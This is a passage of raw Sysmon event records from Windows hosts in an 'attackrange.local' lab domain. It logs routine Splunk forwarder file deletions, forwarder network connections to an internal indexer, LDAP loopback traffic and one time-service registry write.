Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8996C8D2120A939C2E763E7FA7537025,SHA256=46ED6622E5A400A74A6D7291045307D23AB1E5BFA7520B31A13C0951BA4F8317,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:47.207{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F0218475774EB5DDBC782B889BED6E46,SHA256=2A3B56D6FAEE05CFDDEFB0F2CE61CCD209BDAB84AD9847AE626B5392E111AD41,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017000Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:47.357{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B92E12E645F83E79DAB9CCE2358DD9DD,SHA256=0A8C5C53E063C345DEA5452B24D56EA154A1B6D2499AAE6DFDEEBCD0506EF595,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017001Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:48.388{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=61F4A7B5861E21766403B6FABD28102C,SHA256=E6A6994CDF725CC635B0BC61E627D94519E4602E1D6969E6FECFB3B1FC410084,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:48.225{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=16E9BCF4417EF3C42959054E661B8342,SHA256=6FC67BD62087047D154F030797A80A17B0FD754C65C5A1200A0F5B73BB305CED,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017003Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:48.490{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50327-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017002Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:49.419{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=32807B3C8A7529AAABAE83485D71FBDE,SHA256=6637D73EA085A5858DCFDAB9950CF50930C94D1CD0DF6C6FE1E69F49BA96337F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:49.256{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DB4DF18DE1829A745112F0B8926A84A2,SHA256=BBFBEE7E96883BB2CC44690D9F9DEA99106D79E51CC9AD913B4CC8D623EEF64D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017004Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:50.435{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=33E0EC1D88D8D31687B51FB49722F696,SHA256=EC4E4556A530341F6614684C3C7312B9AFCC97673C2E4D1205DD7461E8552100,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:50.324{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=78A3BC3B44B692FB53637A31B23C5014,SHA256=9EA543527DA8690C76CF23BE2971338BA0DA7E4DA44A43AD3308AA097E8F7432,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:51.326{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F9A3C6E64BA0E6C3E2555B2C9C70E41E,SHA256=6722539A36566FEFE15714D1F99FFA9ED3EE463250C5AEC11AD15190B4073F34,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017005Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:51.447{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=76799E8A1DE3883793FCEA8D5A670C8B,SHA256=9C008A4E50F52579E6E2E0422CA61B02CD7499683D7011624EA333C4B32CD603,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:47.343{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59635-false10.0.1.12-8000- 23542300x800000000000000052950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:52.339{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=760A67B574EF21FE99A916CFAF5945B0,SHA256=9254538F9E7B28992D5A43EA043D1B260226287BD4A8F729398B6CFE64B8C62A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017006Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:52.463{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5DD7889B32B29123427B246032D5AB4A,SHA256=1316EEE508F1CABBA2F79689F8D6413E0808CF77109B1A2D9F62505C6070E96F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017007Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:53.525{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=140BCBD777F4F1DA3AE499E78D6D159A,SHA256=B52FBC6F348E6BE958282EE9656C52EB8791BE26FD57329E0FEA33E9082F29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:53.339{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A492903F6240576E1FDF01628C822EA7,SHA256=E7D383D9A9D87A005C77B4D50D610905308F40A36376F15A726D3373E70C4951,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017008Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:54.541{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=269C6570E63BDE234C9AAA0CB6BBC694,SHA256=46FB848FD304B9696A1787A791AA0CB85B6EA32118EEADC353FB872542F8306F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:54.354{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=48DB43D0A30F83E0C3256F6FA03ED88A,SHA256=0E57C9FB112B67ACE71488F71FA38F480C8BEDABFAB0F8933D62FAC6F97F66C6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017011Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:55.556{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD90E557F53BC661AB937D91151D31FF,SHA256=D959A706547B501E6297F6611899CC3BC60592CE78B44189DE8101F5555F9632,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:55.402{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A1B6E88F1EDB49546FC7159285183698,SHA256=D38F79DEE9506BAC154F0A650B8E648342FE598E4A60A946C3E713E5A72616FA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017010Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:55.088{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017009Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:53.581{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50328-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 354300x800000000000000052953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:52.540{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59636-false10.0.1.12-8000- 13241300x800000000000000052956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:01:56.951{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a654-0xcc860c18) 23542300x800000000000000052955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:56.436{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D3E2BC12603A4DAE310BB4961F6DC7C1,SHA256=387B3213CBE753784A93599C26C3F144FA24619BF292A72B9B64FA1208DCEA27,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017013Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:55.394{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50329-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000017012Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:56.572{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=574B7B5148BB6F5F59CDA5190D7ADF8E,SHA256=48604B203CB74510B6BA5C6624622782623E54F75FAB6B7992E2E484050940D6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:57.469{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=52970B2D9BE64860B4081835F2D20E6B,SHA256=ACC36E5C43BF9D527E9B95CECDF2FA97621983DBE44F3C9597D68D0C17EB19A8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017014Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:57.572{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FDA7AFB602CCC8F3EE9872616BAD81EB,SHA256=FF7FCB538E900D2609E9AACD637AC5A6AFE5B5E2BEB0617B76A3C935C8C86A69,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017015Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:58.603{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F7A5518603345CADC41117511FEA4D92,SHA256=F20B3A9AA360D4F0BFCFEB76E8FA2C0599CF24B26A710255676A0036AB752DE6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:58.504{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=233296C62E2FEC3DFF8935C8346756D2,SHA256=10F608780CC3AECF83D2D2C42CFAE90A8D8C62EA3E0736FF94F883AF0BF78630,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017016Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:59.650{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C7CF77EC4CB5DEE47E4266049A33B660,SHA256=DD3734BB4FF43741558042A7EBE2857143EBFC9CE95AA3B12AF1AE0AC7ED5CD1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:59.574{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C91CE948116ABB3614952E4D155DA08,SHA256=10B7235378B4A2C9626143EA934D2FF983744FC551FEE97C54F6B958F04150F8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:59.390{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A330C8C977A5F250BB9C21DA670969DB,SHA256=B1AF35610EA1B0068CE8BE6719E78DEB3274A385C64289CC84CBA63B98FE8C2C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:59.390{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=8FB3F069CD7AFBBC3408115B1072DE6D,SHA256=A989DF1AB3A80DDD7062F516896E71122F22A71AD3495557DFAFB9BFB3A5E824,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:00.589{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=75315D366036B153470A08E0DFD5A926,SHA256=B544D154A4DB7B6DD5D5F63BCA851EC27161AB06D67B9003DDB35503462BDCB6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017017Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:00.666{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A85B6C7FB2251D046D40F70F64C71A26,SHA256=78E64AEF51CAA2ECFBE307B50EF243776F896D8B5397C30D01102D382A356D00,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:57.683{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59637-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000052962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:57.683{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59637-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000052966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:01.641{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=563D105E9F85A97DA1D92771B88EA4AF,SHA256=990C956164E434FC3CAED5166034971CF030BCE2EDAAC223685951AC7BA8CC9D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017019Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:01.681{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00FBB9CB902362995EA831B2431CBFE2,SHA256=A225EDBC1B5EA01D4DCFB9996A5637B04487CA6058EDE62EA677289C4FB0AE86,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:58.340{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59638-false10.0.1.12-8000- 354300x800000000000000017018Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:59.440{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50330-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017021Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:02.682{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=39720882DC63AE2B5D5598BFCA2F6614,SHA256=3EEA3222CB04F59F636C4E1F0206DAFD896272A9B7BE137E8C3E12F229CCFEDC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:02.724{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE326CA8C84D80037C722591920D14FD,SHA256=8FD6EFBC257951D3E9E5A3B3E9E139A9D9ABE37CDBDAF4C0784DB06B3F30AAF3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017020Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:02.322{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=5B2A8BAC7D41BF2EBF5AFCAB56F741A9,SHA256=0E91637BA90054633B12F5F7CA72667C1B4F1FAB4887F7259E5630B6EF5ECF4F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017022Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:03.697{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EF951F62F9A4DE25D0065887300A4830,SHA256=F7F5FB04B915E34D236BF441C81402AEC54E548386687519C50D9E5FCEA95E06,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:03.739{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3ECB9AA421471FDFBF06971F9A02AE0A,SHA256=0C03CFB2277FB24248D5F1F40FCDD30A4F9D77AAC3109B4936B0B3A551F8C581,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:04.802{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BADBDE08887951D50986994900FD2DB9,SHA256=3642D97F21CBF51D46A8662ABC15491030F76A5558758F07FF17EC5B0E9C60DF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017023Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:04.713{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A2DFCAFC505A0661AA39BD64D9AD9E96,SHA256=DFF3714B44618833C7DC29CD8E1990184C87F08CBC54155C5EFD12F3E0D5D2AE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:05.805{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F007E6DDD942823B4DA21C220622F9A8,SHA256=250D5D45EC34050FADD6157619737BC4AC54B211CF7E76A670FD9B0A0F842B0B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017024Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:05.728{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9EF1A5107779F8AC6ED43A8C649B552A,SHA256=F6C12903F49B8312CEFDA2DDC82D3A504A1AB219B40617A5E367EBF374856CE7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:06.901{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 